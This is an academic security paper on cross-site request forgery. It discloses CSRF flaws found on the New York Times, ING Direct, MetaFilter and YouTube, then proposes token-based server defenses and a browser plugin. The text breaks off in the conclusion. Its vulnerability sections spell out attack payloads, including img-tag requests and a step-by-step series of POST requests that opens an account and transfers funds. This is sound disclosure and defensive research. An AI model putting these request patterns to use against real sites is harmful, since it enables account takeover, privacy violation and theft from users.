Cross-Site Request Forgeries: Exploitation and Prevention

William Zeller

and Edward W. Felten

Department of Computer Science

Center for Information Technology Policy

Woodrow Wilson School of Public and International Affairs

Princeton University
{wzeller,felten}@cs.princeton.edu
Abstract
Cross-Site Request Forgery (CSRF) attacks occur when a
malicious web site causes a users web browser to per-
form an unwanted action on a trusted site. These attacks
have been called the sleeping giant of web-based vul-
nerabilities, because many sites on the Internet fail to pro-
tect against them and because they have been largely ig-
nored by the web development and security communities.
We present four serious CSRF vulnerabilities we have dis-
covered on four major sites, including what we believe is
the rst published attack involving a nancial institution.
These vulnerabilities allow an attacker to transfer money
out of user bank accounts, harvest user email addresses,
violate user privacy and compromise user accounts. We
recommend server-side changes (which we have imple-
mented) that are able to completely protect a site from
CSRF attacks. We also describe the features a server-side
solution should have (the lack of which has caused CSRF
protections to unnecessarily break typical web browsing
behavior). Additionally, we have implemented a client-
side browser plugin that can protect users from certain
types of CSRF attacks even if a site has not taken steps
to protect itself. We hope to raise the awareness of CSRF
attacks while giving responsible web developers the tools
to protect users from these attacks.
1 Introduction
Cross-Site Request Forgery
1
(CSRF) attacks occur when a
malicious web site causes a users web browser to perform
an unwanted action on a trusted site. These attacks have
been called the sleeping giant of web-based vulnerabili-
ties [23], because many sites on the Internet fail to protect
against them and because they have been largely ignored
1
Cross-Site Request Forgery attacks are also known as Cross-Site
Reference Forgery, XSRF, Session Riding and Confused Deputy attacks.
We use the term CSRF because it appears to be the most commonly used
term for this type of attack.
by the web development and security communities. CSRF
attacks do not appear in the Web Security Threat Classi-
cation [12] and are rarely discussed in academic or techni-
cal literature.
2
CSRF attacks are simple to diagnose, sim-
ple to exploit and simple to x. They exist because web
developers are uneducated about the cause and serious-
ness of CSRF attacks. Web developers also may be under
the mistaken impression that defenses against the better-
known Cross-Site Scripting (XSS) problem also protect
against CSRF attacks.
In Section 3, we present four serious CSRF vulnerabil-
ities we have discovered on four major sites. These vul-
nerabilities allow an attacker to transfer money out of user
bank accounts, harvest user email addresses, violate user
privacy and compromise user accounts.
In Section 4.1, we recommend server-side changes
(which we have implemented) that are able to completely
protect a site from CSRF attacks. These recommenda-
tions have advantages over previously proposed solutions
since they do not require server state and do not break typ-
ical web browsing behavior. Additionally, we have imple-
mented a client-side browser plugin that can protect users
from certain types of CSRF attacks (Section 4.2). The
server-side protections allow a site to completely protect
itself from CSRF attacks, while the client-side protection
allows users to take proactive steps to protect themselves
from many types of CSRF attacks even if a site has not
taken steps to protect itself. We hope to raise the aware-
ness of CSRF attacks while giving responsible web devel-
opers the tools to protect users from these attacks.
2 Overview of CSRF
Figures 1, 2 and 3 show how CSRF attacks generally
work.
2
A search for cross site scripting (which differs from CSRF) on
the ACM Digital Library returned 72 papers, while a search for xsrf
OR csrf returned only four papers. A search for xss on Safari Books
Online (a collection of 4752 books on technology) showed the term ap-
peared in 96 books, while csrf OR xsrf appeared in only 13 books.
1
User
Trusted Site
Trusted
Acti on
Web
Browser
Authenti cated Sessi on
Figure 1: Here, the Web Browser has established an authenticated session with the Trusted Site. Trusted Action should
only be performed when the Web Browser makes the request over the authenicated session.
User
Trusted Site
Trusted
Acti on
Web
Browser
Authenti cated Sessi on
Figure 2: A valid request. The Web Browser attempts to perform a Trusted Action. The Trusted Site conrms that the
Web Browser is authenticated and allows the action to be performed.
User
Trusted Site
Trusted
Acti on
Web
Browser
Authenti cated Sessi on
At t acki ng
Si te
Figure 3: A CSRF attack. The Attacking Site causes the browser to send a request to the Trusted Site. The Trusted Site
sees a valid, authenticated request from the Web Browser and performs the Trusted Action. CSRF attacks are possible
because web sites authenticate the web browser, not the user.
2
Below we describe CSRF attacks in more detail using
a specic example.
2.1 An Example
Lets consider a hypothetical example of a site vulnera-
ble to a CSRF attack. This site is a web-based email site
that allows users to send and receive email. The site uses
implicit authentication (see Section 2.2) to authenticate
its users. One page, http://example.com/compose.
htm, contains an HTML form allowing a user to enter a
recipients email address, subject, and message as well as
a button that says, Send Email.
<form
action="http://example.com/send_email.htm"
method="GET">
Recipients Email address: <input
type="text" name="to">
Subject: <input type="text" name="subject">
Message: <textarea name="msg"></textarea>
<input type="submit" value="Send Email">
</form>
When a user of example.com clicks Send Email, the
data he entered will be sent to http://example.com/
send_email.htm as a GET request. Since a GET re-
quest simply appends the form data to the URL, the user
will be sent to the following URL (assuming he entered
[email protected] as the recipient, hello as the sub-
ject, and Whats the status of that proposal? as the mes-
sage):
http://example.com/send_email.htm?to=bob%
40example.com&subject=hello&msg=What%27s+the+
status+of+that+proposal%3F
3
The page send email.htm would take the data it re-
ceived and send an email to the recipient from the user.
Note that send email.htm simply takes data and per-
forms an action with that data. It does not care where
the request originated, only that the request was made.
This means that if the user manually typed in the above
URL into his browser, example.com would still send
an email. For example, if the user typed the following
three URLs into his browser, send email.htm would
send three emails (one each to Bob, Alice, and Carol):
http://example.com/send_email.htm?to=bob%
40example.com&subject=hi+Bob&msg=test
http://example.com/send_email.htm?to=alice%
40example.com&subject=hi+Alice&msg=test
http://example.com/send_email.htm?to=carol%
40example.com&subject=hi+Carol&msg=test
A CSRF attack is possible here because
send email.htm takes any data it receives and sends
an email. It does not verify that the data originated from
the form on compose.htm. Therefore, if an attacker can
cause the user to send a request to send email.htm, that
3
The URL data is encoded, turning @ into %40, etc
page will cause example.com to send an email on behalf
of the user containing any data of the attackers choosing
and the attacker will have successfully performed a CSRF
attack.
To exploit this vulnerability, the attacker needs to force
the users browser to send a request to send email.htm
to perform some nefarious action. (We assume the user
visits a site under the attackers control and the target site
does not defend against CSRF attacks.) Specically, the
attacker needs to forge a cross-site request from his site
to example.com. Unfortunately, HTML provides many
ways to make such requests. The <img> tag, for example,
will cause the browser to load whatever URI is set as the
src attribute, even if that URI is not an image (because the
browser can only tell the URI is an image after loading it).
The attacker can create a page with the following code:
<img src="http://example.com/send_email.htm?
to=mallory%40example.com&subject=Hi&msg=My+
email+address+has+been+stolen">
When the user visits that page, a request will be sent
to send email.htm, which will then send an email to
Mallory from the user. This example is nearly identical
to an actual vulnerability we discovered on the New York
Times website, which we describe in Section 3.1.
CSRF attacks are successful when an attacker can cause
a users browser to performan unwanted action on another
site. For this action to be successful, the user must be ca-
pable of performing this action. CSRF attacks are typi-
cally as powerful as a user, meaning any action the user
can perform can also be performed by an attacker using a
CSRF attack. Consequently, the more power a site gives
a user, the more serious are the possible CSRF attacks.
CSRF attacks can be successful against nearly every
site that uses implicit authentication (see Section 2.2) and
does not explicitly protect itself from CSRF attacks.
The same-origin policy (see Appendix B) was designed
to prevent an attacker from accessing data on a third-party
site. This policy does not prevent requests from being
sent, it only prevents an attack from reading the data re-
turned from the third-party server. Since CSRF attacks
are the result of the requests sent, the same-origin policy
does not protect against CSRF attacks.
2.2 Authentication and CSRF
CSRF attacks often exploit the authentication mecha-
nisms of targeted sites. The root of the problem is that
Web authentication normally assures a site that a request
came from a certain users browser; but it does not ensure
that the user actually requested or authorized the request.
For example, suppose that Alice visits a target site T.
T gives Alices browser a cookie containing a pseudoran-
dom session identier sid, to track her session. Alice is
3
asked to log in to the site, and upon entry of her valid user-
name and password, the site records the fact that Alice is
logged in to session sid. When Alice sends a request to T,
her browser automatically sends the session cookie con-
taining sid. T then uses its record to identify the session
as coming from Alice.
Now suppose Alice visits a malicious site M. Content
supplied by M contains Javascript code or an image tag
that causes Alices browser to send an HTTP request to T.
Because the request is going to T, Alices browser help-
fully appends the session cookie sid to the request. On
seeing the request, T infers from the cookies presence
that the request came from Alice, so T performs the re-
quested operation on Alices account. This is a successful
CSRF attack.
Most of the other Web authentication mechanisms suf-
fer from the same problem. For example, the HTTP Basi-
cAuth mechanism [22] would have Alice tell her browser
her username and password for Ts site, and then the
browser would helpfully attach the username and pass-
word to future requests sent to T. Alternatively, T might
use client-side SSL certicates, but the same problem
would result because the browser would helpfully use
the certicate to carry out requests to Ts site. Similarly,
if T authenticates Alice by her IP address, CSRF attacks
would be possible.
In general, whenever authentication happens
implicitlybecause of which site a request is being
sent to and which browser it is coming fromthere is a
danger of CSRF attacks. In principle, this danger could
be eliminated by requiring the user to take an explicit,
unspoofable action (such as re-entering a username and
password) for each request sent to a site, but in practice
this would cause major usability problems. The most
standard and widely used authentication mechanisms fail
to prevent CSRF attacks, so a practical solution must be
sought elsewhere.
2.3 CSRF Attack Vectors
For an attack to be successful, the user must be logged-in
to the target site and must visit the attackers site or a site
over which the attacker has partial control.
If a server contains CSRF vulnerabilities and also ac-
cepts GET requests (as in the above example), CSRF at-
tacks are possible without the use of JavaScript (for exam-
ple, a simple <img> tag can be used). If the server only
accepts POST requests, JavaScript is required to automat-
ically send a POST request from the attackers site to the
target site.
2.4 CSRF vs. XSS
Recently much attention has been paid to Cross-Site
Scripting (XSS) [20] vulnerabilities. A XSS attack oc-
curs when an attacker injects malicious code (typically
JavaScript) into a site for the purpose of targeting other
users of the site. For example, a site might allow users to
post comments. These comments are submitted by a user,
stored in a database and displayed to all future users of the
site. If an attacker is able to enter malicious JavaScript as
part of a comment, the JavaScript would be embedded on
any page containing the comment. When a user visits the
site, the attackers JavaScript would be executed with all
the privileges of the target site. Malicious JavaScript em-
bedded in a target site would be able to send and receive
requests from any page on the site and access cookies set
by that site. Protection from XSS attacks requires sites to
carefully lter any user input to ensure that no malicious
code is injected.
CSRF and XSS attacks differ in that XSS attacks re-
quire JavaScript, while CSRF attacks do not. XSS attacks
require that sites accept malicious code, while with CSRF
attacks malicious code is located on third-party sites. Fil-
tering user input will prevent malicious code fromrunning
on a particular site, but it will not prevent malicious code
from running on third-party sites. Since malicious code
can run on third-party sites, protection from XSS attacks
does not protect a site from CSRF attacks. If a site is vul-
nerable to XSS attacks, then it is vulnerable to CSRF at-
tacks. If a site is completely protected from XSS attacks,
it is most likely still vulnerable to CSRF attacks.
3 CSRF Vulnerabilities
In this section we describe four vulnerabilities we dis-
covered. These attacks were found by surveying a list of
about ten popular websites. Many of the sites we analyzed
either had CSRF vulnerabilities or a history of vulnerabil-
ities (e.g., a web search would show a report of a CSRF
vulnerability that has since been xed). The fact that so
many sites are vulnerable to CSRF attacks until a third-
party discloses the problems shows that many site admin-
istrators are uneducated about the risks and existence of
CSRF vulnerabilities.
We believe ING Direct, Metalter and YouTube have
corrected the vulnerabilities we describe below. All three
sites appear to have xed the problem using methods sim-
ilar to what we propose in Section 4.1.
3.1 The New York Times (nytimes.com)
The New York Times website is the the #1
reaching newspaper site on the Web [10].
4
We discovered a CSRF vulnerability in NYTimes.com
that makes user email addresses available to an attacker.
If you are a NYTimes.com member, abitrary sites can use
this attack to determine your email address and use it to
send spam or to identify you.
This attack takes advantage of NYTimes.coms Email
This feature. Email This is a tool that allows a user
to send a link to a NYTimes.com article by specifying a
recipients email address and optionally, a personal mes-
sage. The recipient receives an email that looks something
like this:
This page was sent to you by: [USERS EMAIL
ADDRESS]
Message from sender:
Thought youd be interested in this.
NATIONAL DESK
Researchers Find Way to Steal Encrypted Data
By JOHN MARKOFF
A computer security research group has
developed a way to steal encrypted
information from computer hard disks.
To exploit this vulnerability, an attacker causes a
logged-in users browser to send a request to the NY-
Times.com Email This page. The page accepting
Email This requests does not protect against CSRF at-
tacks, so the users browser will cause a request to be sent
to NYTimes.com that will trigger it to send an email to an
address of the attackers choosing. If the attacker changes
the recipient email address to his own email address, he
will receive an email from NYTimes.com containing the
users email address.
Exploiting this vulnerability is remarkably simple.
Each article on NYTimes.com contains a link to the
Email This page, which contains a form where the user
enters a recipients email address. This form also contains
hidden variables which are unique for each article. Here
is an example form:
<form
action="http://www.nytimes.com/mem/emailthis.html"
method="POST"
enctype="application/x-www-form-urlencoded">
<input type="checkbox" id="copytoself"
name="copytoself" value="Y">
<input id="recipients" name="recipients"
type="text" maxlength="1320" value="">
<input type="hidden" name="state" value="1">
<textarea id="message" name="personalnote"
maxlength="512"></textarea>
<input type="hidden" name="type" value="1">
<input type="hidden" name="url"
value="[...]">
<input type="hidden" name="title"
value="[...]">
<input type="hidden" name="description"
value="[...]">
...
</form>
Since NYTimes.com does not distinguish between
GET and POST requests, the attacker can transform this
forminto a GET request that can later be used in an <img>
tag. Transforming a form into a GET request involves ap-
pending each parameter to the URLs query string (in the
form NAME=VALUE, separated by an ampersand).
Once the attacker has constructed the URL, he can set
it to be the SRC attribute of an <img> tag. If a logged-
in user of NYTimes.com visits any page containing this
<img> tag, the browser will load the Email This page
with the attackers parameters, causing NYTimes.com to
send an email to the attacker containing the users email
address. The attacker could store this email address for
later abuse (e.g., for spamming purposes) or use the email
address to identify visitors to his own site. This could lead
to serious privacy consequences, such as allowing opera-
tors of controversial sites (e.g., political or illicit) to iden-
tify their users.
We veried this attack in Firefox 2.0.0.6, Opera 9.23
and Safari 3.0.3 (522.15.5). It does not work in Internet
Explorer due to reasons described in Appendix A. We no-
tied the New York Times of this vulnerability in Septem-
ber 2007. Sometime after they were notied, the page was
changed to only allow POST requests, stopping the origi-
nal attack from working. However, a simple POST CSRF
attack (using the same parameters as above) is still possi-
ble as of September 24, 2008.
3.2 ING Direct (ingdirect.com)
ING DIRECT is the fourth largest savings
bank in America with more than $62 billion in
assets, delivering superior savings and mort-
gage services to over 4.1 million customers.
[15]
We discovered CSRF vulnerabilities in INGs site that
allowed an attacker to open additional accounts on behalf
of a user and transfer funds from a users account to the
attackers account. As we discuss in Section 2.2, INGs
use of SSL does not prevent this attack. We believe this
is the rst published CSRF attack involving a nancial
institution.
Since ING did not explicitly protect against CSRF at-
tacks, transferring funds from a users accounts was as
simple as mimicking the steps a user would take when
transferring funds. These steps consist of the following
actions:
1. The attacker creates a checking account on behalf of
the user.
4
(a) The attacker causes the users browser to visit
INGs Open New Account page:
4
ING Direct allows checking accounts to be created instantly with
any initial amount of money.
5
A GET request to https://secure.
ingdirect.com/myaccount/
INGDirect.html?command=
gotoOpenOCA
(b) The attacker causes the users browser to
choose a single account:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
command=ocaOpenInitial&YES, I
WANT TO CONTINUE..x=44&YES, I
WANT TO CONTINUE..y=25
(c) The attacker chooses an arbitrary amount of
money to initially transfer from the users sav-
ings account to the new, fraudulent account:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
command=ocaValidateFunding&PRIMARY
CARD=true&JOINTCARD=true&Account
Nickname=[ACCOUNT NAME]&FROMACCT=
0&TAMT=[INITIAL AMOUNT]&YES, I
WANT TO CONTINUE..x=44&YES, I
WANT TO
CONTINUE..y=25&XTYPE=4000USD
&XBCRCD=USD
. . . where [ACCOUNT NAME] is the name of
the account that the user will see and
[INITIAL AMOUNT] is the amount of money
that will be transferred to the new account when
it is opened. The account name can be any
string and does not need to be known by the
attacker before handit is simply a nickname
that will be used for the new account.
(d) The attacker causes the users browser to click
the nal Open Account button, causing ING
to open a new checking account on behalf of
the user:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
command=ocaOpenAccount&Agree
ElectronicDisclosure=yes&AgreeTerms
Conditions=yes&YES, I WANT TO
CONTINUE..x=44&YES, I WANT TO
CONTINUE..y=25&YES, I WANT TO
CONTINUE.=Submit
2. The attacker adds himself as a payee to the users
account.
(a) The attacker causes the users browser to visit
INGs Add Person page:
A GET request to https://secure.
ingdirect.com/myaccount/
INGDirect.html?command=
goToModifyPersonalPayee&Mode=
Add&from=displayEmailMoney
(b) The attacker causes the users browser to enter
the attackers information:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
command=validateModifyPersonalPayee
&from=displayEmailMoney&PayeeName
=[PAYEE NAME]&PayeeNickname=&chk
Email=on&PayeeEmail=[PAYEE EMAIL]
&PayeeIsEmailToOrange=true&Payee
OrangeAccount=[PAYEE ACCOUNT NUM]&
YES, I WANT TO CONTINUE..x=44
&YES, I WANT TO CONTINUE..y=25
. . . where [PAYEE NAME] is the attackers
name, [PAYEE EMAIL] is the attackers email
address and [PAYEE ACCOUNT NUM] is the
attackers ING account number.
(c) The attacker causes the users browser to con-
rm that the attacker is a valid payee:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
command=modifyPersonalPayee&from=
displayEmailMoney&YES, I WANT TO
CONTINUE..x=44 &YES, I WANT TO
CONTINUE..y=25
3. The attacker transfers funds from the users account
to his own account.
(a) The attacker causes the users browser to enter
an amount of money to send to the attacker:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
command=validateEmailMoney&CNSPayID
=5000&Amount=[TRANSFER AMOUNT]
&Comments=[TRANSFER MESSAGE]&YES,
I WANT TO CONTINUE..x=44 &YES, I
WANT TO
CONTINUE..y=25&show=1&button=Send
Money
. . . where [TRANSFER AMOUNT] is the
amount of money to transfer from the users
account to the attackers account and
[TRANSFER MESSAGE] is the message to
include with the transaction.
(b) The attacker causes the users browser to con-
rm that the money should be sent:
A POST request to https://secure.
ingdirect.com/myaccount/
INGDirect.html with the parame-
ters:
6
command=emailMoney&Amount=
[TRANSFER AMOUNT]Comments=
[TRANSFER MESSAGE]&YES, I WANT
TO CONTINUE..x=44&YES, I WANT TO
CONTINUE..y=25
. . . where [TRANSFER AMOUNT] and
[TRANSFER MESSAGE] are the same values
as 3 (a) above.
To exploit this attack, an attacker would create a page
that made the above POST requests in succession using
JavaScript. This would be invisible to the user.
This attack assumes the user has not added an addi-
tional payee to his ING Direct checking account. The
attack could likely have been modied to work without
this restriction.
We veried this attack in Firefox 2.0.0.3 and Inter-
net Explorer 7.0.5. We did not test this attack in other
browsers. We notied ING of this vulnerability and it has
since been xed.
3.3 MetaFilter (metalter.com)
MetaFilter is a weblog. . . that anyone can con-
tribute a link or a comment to. It currently has
over 50,000 users and over 3.5 million unique
visitors each month [1].
We discovered a CSRF vulnerability in MetaFilter that
allowed an attacker to take control of a users account.
MetaFilter has a Lost Password page [6] which al-
lows a user to request his password. Entering a username
causes MetaFilter to send an email containing the users
current password to the email address associated with that
user. This means that an attacker with the ability to change
a users email address could have used the Lost Pass-
word page to receive the users password and used that
password to take control of the users account.
The CSRF attack we found allowed an attacker to
change a users email address. To exploit this attack, an at-
tacker would cause the users browser to send a request to
the page that is used to update a users prole. This page
accepts the users email address as an argument, which
can be replaced with the attackers address. An exam-
ple attack would be the following HTML embedded on a
page:
<img src="
http://metafilter.com/contribute/customize_
action.cfm?user_email=[ATTACKERS EMAIL]"/>
While this will change the email address of any logged-
in user, the attacker will not know which users account
was modied. The attacker can discover this by taking ad-
vantage of another MetaFilter feature, which allows users
to mark other users as contacts. The attacker can use a
CSRF similar to the above to cause a user to unknowingly
add the attacker to his contact list.
We veried this attack in Firefox 2.0.0.6. It does not
work in Internet Explorer due to reasons described in Ap-
pendix A. We did not test this attack in other browsers. We
reported this vulnerability to MetaFilter and conrmed it
was xed within two days.
3.4 YouTube (youtube.com)
YouTube is the leader in online video, and the
premier destination to watch and share orig-
inal videos worldwide through a Web experi-
ence [13]. A June 2006 study found that
YouTube alone comprises approximately 20%
of all HTTP trafc, or nearly 10% of all trafc
on the Internet. [14]
We discovered CSRF vulnerabilities in nearly every ac-
tion a user can perform on YouTube. An attacker could
have added videos to a users Favorites, add himself to
a users Friend or Family list, sent arbitrary messages
on the users behalf, agged videos as inappropriate, auto-
matically shared a video with a users contacts, subscribed
a user to a channel (a set of videos published by one per-
son or group) and added videos to a users QuickList (a
list of videos a user intends to watch at a later point). For
example, to add a video to a users Favorites, an attacker
simply needed to embed this <img> tag on any site:
<img src="http://youtube.com/watch_ajax?
action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=
1&show=1&button=AddvideoasFavorite"/>
An attacker could have used this vulnerability to impact
the popularity of videos. For example, adding a video to a
sufcient number of users Favorites would have caused
YouTube to show the video in its Top Favorites (a list
of the videos favorited the greatest number of times).
In addition to increasing a videos popularity, an attacker
could have caused users to unknowingly ag a video as
inappropriate in an attempt to cause YouTube to remove it
from the site.
These attacks could also have been used to violate user
privacy. YouTube allows users to make videos available
only to friends or family. These attacks could have al-
lowed an attacker to add himself automatically to a users
Friend or Family list, which would have given him
access to any private videos uploaded by a user and re-
stricted to these lists.
An attacker could have shared a video with a users en-
tire contact list (Friends, Family, etc). Sharing sim-
ply means sending a link to a video with an optional mes-
sage attached. This message can include a link, meaning
an attacker could force a user to include a link to a site
containing the attack. Users receiving the message might
click on this link, allowing the attack to spread virally.
7
We veried these attacks in Firefox 2.0.0.6. They do not
work in Internet Explorer due to reasons described in Ap-
pendix A. We did not test these attacks in other browsers.
We reported these vulnerabilities to YouTube and they ap-
pear to have been corrected.
4 Preventing CSRF
We have created two tools that can protect a large number
of users from CSRF attacks. The rst is a server-side tool
which can completely protect a potential target site from
CSRF attacks. The second is a client-side tool which can
protect users from certain types of CSRF attacks. Table 1
describes exactly when users are protected by these differ-
ent techniques. We also recommend features that should
be part of a server-side solution. These recommendations
have advantages over previously proposed solutions since
they do not require server state and do not break typical
web browsing behavior.
4.1 Server-Side Protection
Recently, many frameworks have been introduced that
simplify web development in a variety of languages. Ex-
amples include Code Igniter [4] (PHP), Ruby on Rails [8]
(Ruby), django [5] (Python), Catalyst [3] (Perl) and Struts
[9] (Java). One major benet of these frameworks is that
CSRF protection can be built directly into the framework,
protecting developers while freeing them from the need
to implement protections on their own. CSRF protection
implemented at the framework level would be subject to
greater oversight and a lower chance of introducing bugs
due to carelessness or a misunderstanding of CSRF.
Individual sites as well as frameworks can protect
themselves from CSRF attacks by taking the following
precautions:
1. Allow GET requests to only retrieve data, not
modify any data on the server
This change protects sites from CSRF attacks using
<img> tags or other types of GET requests. Ad-
ditionally, this recommendation follows RFC 2616
(HTTP/1.1):
In particular, the convention has been es-
tablished that the GET and HEAD meth-
ods SHOULD NOT have the signicance
of taking an action other than retrieval.
These methods ought to be considered
safe [21].
While this protection does not prevent CSRF on its
own (since attackers can use POST requests), it can
be combined with (2) to completely prevent CSRF
vulnerabilities
5
.
2. Require all POST requests to include a pseudo-
random value
When a user visits a site, the site should generate a
(cryptographically strong) pseudorandom value and
set it as a cookie on the users machine. The site
should require every form submission to include this
pseudorandom value as a form value and also as a
cookie value. When a POST request is sent to the
site, the request should only be considered valid if
the form value and the cookie value are the same.
When an attacker submits a form on behalf of a user,
he can only modify the values of the form. An at-
tacker cannot read any data sent from the server or
modify cookie values, per the same-origin policy
(see Appendix B). This means that while an attacker
can send any value he wants with the form, he will
be unable to modify or read the value stored in the
cookie. Since the cookie value and the form value
must be the same, the attacker will be unable to suc-
cessfully submit a form unless he is able to guess the
pseudorandom value.
3. Use a session-independent pseudorandom value
Session-dependent pseudorandom values fail to pre-
vent the CSRF attacks described in [17]
This form of server-side protection has the following
characteristics:
Lightweight. This solution requires no server-side
state. The sites only responsibility is to generate
a pseudorandom value (if none currently exists) and
compare two values when a POST request is made,
making this form of CSRF protection computation-
ally inexpensive.
Parallel session compatible. If a user has two dif-
ferent forms open on a site, CSRF protection should
not prevent him from successfully submitting both
forms. Consider what would happen if the site
were to generate a pseudorandom value each time a
form was loaded, overwriting the old pseudorandom
value. A user could only successfully submit the
last form he opened, since all others would contain
invalid pseudorandom values. Care must be taken
to ensure CSRF protection does not break tabbed
browsing or browsing a site using multiple browser
windows. This solution prevents this problem by set-
ting a site-wide cookie and using the same cookie for
all forms for a certain amount of time.
5
We assume an adversary cannot modify a users cookies
8
Unprotected User using our
User Firefox plugin
Target Server
Not Protected Not Protected
with no protections
Target Server that
Not Protected Protected
only accepts POST requests
Target Server that
Protected Protected
uses server-side protection
Table 1: User Protection.
This table shows when users are and are not protected from CSRF attacks. Our server-side recommendations protect
every user of a site. Our client-side browser plugin protects a user when the server requires POST requests to be used.
Authentication agnostic. This solution does not re-
quire that a specic type of authentication be used.
It works with sites using cookie sessions, HTTP au-
thentication, SSL authentication, or IP addresses to
authenticate users.
The use of pseudorandom values in forms has been pro-
posed before, but many of the proposed implementations
do not have the above characteristics. For example, Johns
and Winter [24] and Schreiber [27] require server state,
while Shiett [28] breaks tabbed browsing. To our knowl-
edge, previously proposed solutions have not stressed the
importance of working with typical browsing behavior.
Any framework that intercepts POST requests and
wraps commands to generate <form> tags can build
the above CSRF protection into the framework transpar-
ently. For example, if a framework requires a developer to
call the function form open(...); to generate a <form
...> tag, the framework can be modied to automatically
generate a pseudorandom value each time a form is cre-
ated:
<form ...>
<input type="hidden" name="csrf value"
value="8dcb5e56904d9b7d4bbf333afdd154ca">
Additionally, the framework can handle setting asso-
ciated cookie values and comparing the submitted value
with the cookie value. If a framework adds this kind of
CSRF protection, all users of the framework will be pro-
tected from CSRF attacks. Since this kind of CSRF pro-
tection is lightweight and agnostic to any authentication
method the framework or developer might provide, we
strongly advise that frameworks that intercept POST re-
quests and provide functions to generate <form> tags im-
plement this kind of CSRF protection and turn it on by
default. The framework should provide developers with
the ability to disable this protection if, e.g., they have im-
plemented CSRF protection on their own or they do not
want to require cookies.
We provide such a plugin for the Code Igniter frame-
work. The plugin does not require the developer to mod-
ify any existing forms and will intercept (and validate the
pseudorandom values of) POST requests as well as func-
tion calls that create <form> tags. The plugin also pro-
vides a function that allows CSRF tokens to be added to
AJAX requests, although this requires developer interven-
tion (Code Igniter does not have a standard way of per-
forming AJAX requests). The plugin can be downloaded
from our website
6
.
4.2 Client-Side Protection
Since web browsers send the requests that allow an at-
tacker to successfully perform CSRF attacks, client-side
tools can be created to protect users from these attacks.
One existing tool, RequestRodeo [24], works by acting as
a proxy between the client and server. If RequestRodeo
sees a request that it considers to be invalid, it strips
authentication information from the request. While this
works in many cases, it has some limitations. Speci-
cally, it will not work when client-side SSL authentica-
tion is used, or when JavaScript is used to generate a part
of the page (because RequestRodeo analyzes data as it
passes through the proxy and before it is displayed by the
browser).
We have developed a browser plugin that will protect
users from certain types of CSRF attacks and overcomes
the above limitations. We implemented our tool as an ex-
tension to the Firefox web browser. Users will need to
download and install this extension for it to be effective
against CSRF attacks.
Our extension works by intercepting every HTTP re-
quest and deciding whether it should be allowed. This
decision is made using the following rules. First, any re-
quest that is not a POST request is allowed. Second, if the
requesting site and target site fall under the same-origin
policy (see Appendix B), the request is allowed. Third,
if the requesting site is allowed to make a request to the
6
Our Code Igniter Plugin: http://www.cs.princeton.edu/

wzeller/csrf/ci/
9
target site using Adobes cross-domain policy (see Ap-
pendix B), the request is allowed. If our extension rejects
a request, the extension alerts the user that the request has
been blocked using a familiar interface (the same one used
by Firefoxs popup blocker) and gives the user the option
of adding the site to a whitelist.
Our extension only intercepts POST requests. This
means our extension will not protect a user against a
CSRF attack that works using GET requests. The only
way to prevent this type of attack would be to either al-
low no cross-domain GET requests or to allow the user
to only be logged-in to one site at a time, restrictions that
users would likely nd overly burdensome.
This Firefox extension is available for download on our
website
7
.
5 Related Work
The exposure CSRF attacks have received is largely due
to the work of Chris Shiett [28] of OmniTI and Jeremiah
Grossman [23] of WhiteHat Security. Burns [19] and
Schreiber [27] provide comprehensive introductions to
CSRF attacks, but do not describe working vulnerabil-
ities. Johns and Winter [24] describe RequestRodeo,
a client-side protection against CSRF attacks using an
HTTP proxy. This approach has some limitations and they
describe a browser plugin similar to ours as possible fu-
ture work. They have expanded on this work in [25] by
implementing a restricted local network which prevents
CSRF attacks against local resources.
Server-side protections exist that are similar to our rec-
ommendations, but the lack of standard requirements has
caused unnecessary problems. As mentioned, Johns and
Winter [24] and Schreiber [27] require server state, while
Shiett [28] breaks tabbed browsing. Jovanovic et al. [26]
have created a method to retrot legacy applications with
CSRF protections by adding a proxy between the web
server and the web application. These protections require
all data be buffered and links in the application modied.
They also require certain application calls to be rewritten.
This solution is effective when the native application can-
not be rewritten, but not as effective as adding CSRF pro-
tection to the application directly. This solution is aimed
at administrators who want to protect applications on their
servers from CSRF attacks, while our solution is aimed at
web application and framework developers who want to
add CSRF protection directly to their programs.
7
Our CSRF Firefox Plugin: http://www.cs.princeton.
edu/

wzeller/csrf/protector/
6 Future Work
Given the prevalence of CSRF vulnerabilities, an auto-
mated method to scan for these problems would be very
useful. Bortz and Boneh [18] describe Cross-Site Tim-
ing Attacks and suggest that they may be combined with
CSRF attacks to further compromise user privacy.
Our client-side browser plugin is a Firefox extension
that only works with Firefox. Similar plugins could be
written for other browsers. Likewise, the server-side
methods used by our CodeIgniter extension could be eas-
ily implemented in other frameworks.
Our client-side browser plugin appears to be the rst
implementation of Adobes cross-domain policy outside
of Adobes own Flash program. More work could be done
to see if carefully adopting this policy in other contexts
would increase user protection and site exibility.
7 Conclusion
CSRF attacks are relatively simple to diagnose, exploit
and x. Sites can be analyzed in a matter of seconds; at-
tacks can be constructed in a matter of minutes. The most
plausible explanation for the prevalence of these attacks is
that web developers are unaware of the problem or think
(mistakenly) that defenses against the better-known cross-
site scripting attacks also protect against CSRF attacks.
We hope the attacks we have presented show the danger
of CSRF attacks and help web developers to give these at-
